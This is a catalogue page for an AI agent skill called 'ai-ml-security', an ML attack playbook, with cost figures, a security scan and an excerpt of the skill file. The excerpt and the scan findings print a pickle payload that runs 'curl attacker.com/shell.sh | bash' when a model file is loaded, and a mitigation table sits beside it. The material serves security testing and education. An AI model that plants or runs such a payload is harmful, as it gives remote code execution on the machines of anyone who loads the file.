ai-ml-security

ai-ml-security is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 53 tokens per session (3,877 once invoked), scanned B, a copy of ai-ml-security, Apache-2.0.

A guide to assessing security risks in machine-learning systems, including model files, training data, predictions, and autonomous agents. It covers supply-chain attacks, adversarial examples, model theft, privacy attacks, and LLM threats.

In plain words
What is it for?
Use it to assess malicious model serialization, poisoned weights or training data, adversarial inputs, model extraction, membership inference, model inversion, gradient leakage, and agent abuse.
Why use it?
It helps security testers examine risks that ordinary application testing may miss in systems that train, load, or serve models.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is │ ├── Yes → Load [llm-prompt-injection](../llm-prompt-injection/SKILL.md).

Good fit Use it to assess malicious model serialization, poisoned weights or training data, adversarial inputs, model extraction, membership inference, model inversion, gradient leakage, and agent abuse.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem
agentmods
npx agentmods add skills/justinedevs/premortem/ai-ml-security

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ai-ml-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/justinedevs/premortem/ai-ml-security/github.svg)](https://agentmods.dev/skills/justinedevs/premortem/ai-ml-security)
Your own site
<a href="https://agentmods.dev/skills/justinedevs/premortem/ai-ml-security"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/ai-ml-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ai-ml-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/justinedevs/premortem/ai-ml-security"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/ai-ml-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,877 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.03877
Opus 5 $0.00026 $0.01938
Sonnet 5 $0.00011 $0.00775
Haiku 4.5 $0.00005 $0.00388

Measured 8d ago against content hash c0182081a9e5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

ai-ml-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

return (os.system, ('curl attacker.com/shell.sh | bash',))

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('curl attacker.com/shell.sh | bash',))
Origin

This is a copy

100% identical to ai-ml-security — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/ai-ml-security/SKILL.md · 426 lines

How it starts

The opening of the file, as written. The whole thing — 426 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: AI/ML Security — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.


1. MODEL SUPPLY CHAIN ATTACKS

1.1 Malicious Model Files — Pickle RCE

Python's pickle module executes arbitrary code during deserialization. PyTorch .pt/.pth files use pickle by default.

import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))

with open('model.pt', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

Loading torch.load('model.pt') executes the embedded command. Applies to:

Format Risk Mitigation
.pt / .pth (PyTorch) Critical — pickle by default Use torch.load(..., weights_only=True) (PyTorch ≥ 2.0)
.pkl / .pickle Critical — raw pickle Never load untrusted pickles
.joblib High — uses pickle internally Verify provenance
.npy / .npz (NumPy) Mediumallow_pickle=True enables RCE Use allow_pickle=False
.safetensors Safe — tensor-only format, no code execution Preferred format
.onnx Safe — graph definition only, no arbitrary code Preferred for inference

Read the full file on GitHub · 426 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 426 lines · 53 tokens per session scan B c0182081a9e5

Subscribe to this mod's changes

ai-ml-security is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 53 tokens to every session and 3,877 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 100% identical to ai-ml-security, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

azure-ai-vision-imageanalysis-py

Azure AI Vision Image Analysis SDK for captions, tags, objects, OCR, people detection, and smart cropping. Use for computer vision and image understanding tasks. Triggers: "image analysis", "computer vision", "OCR", "object detection", "ImageAnalysisClient", "image caption".

microsoft/skills · 66 tokens

azure-ai-contentsafety-ts

Analyze text and images for harmful content using Azure AI Content Safety (@azure-rest/ai-content-safety). Use when moderating user-generated content, detecting hate speech, violence, sexual content, or self-harm, or managing custom blocklists.

microsoft/skills · 56 tokens

capacity

Discovers available Azure OpenAI model capacity across regions and projects. Analyzes quota limits, compares availability, and recommends optimal deployment locations based on capacity requirements. USE FOR: find capacity, check quota, where can I deploy, capacity discovery, best region for capacity, multi-project…

microsoft/skills · 105 tokens

glycobiology

Glycosylation site prediction and glycobiology analysis. N-glycosylation motif finding, O-glycosylation hotspot prediction, glycan structure resources. Lightweight, pure Python. For protein function queries use uniprot-database; for structure analysis use alphafold-database.

synthetic-sciences/openscience · 67 tokens

shap

Model interpretability and explainability using SHAP (SHapley Additive exPlanations). Use this skill when explaining machine learning model predictions, computing feature importance, generating SHAP plots (waterfall, beeswarm, bar, scatter, force, heatmap), debugging models, analyzing model bias or fairness, comparing…

synthetic-sciences/openscience · 109 tokens

groq-inference

Ultra-fast LLM inference on custom LPU hardware. OpenAI-compatible API at api.groq.com. Lowest latency in the industry (500-1000+ tok/s). Supports chat completions, vision, audio (Whisper STT + TTS), tool calling, JSON mode, and streaming. Free tier available. Inference only — no training.

synthetic-sciences/openscience · 77 tokens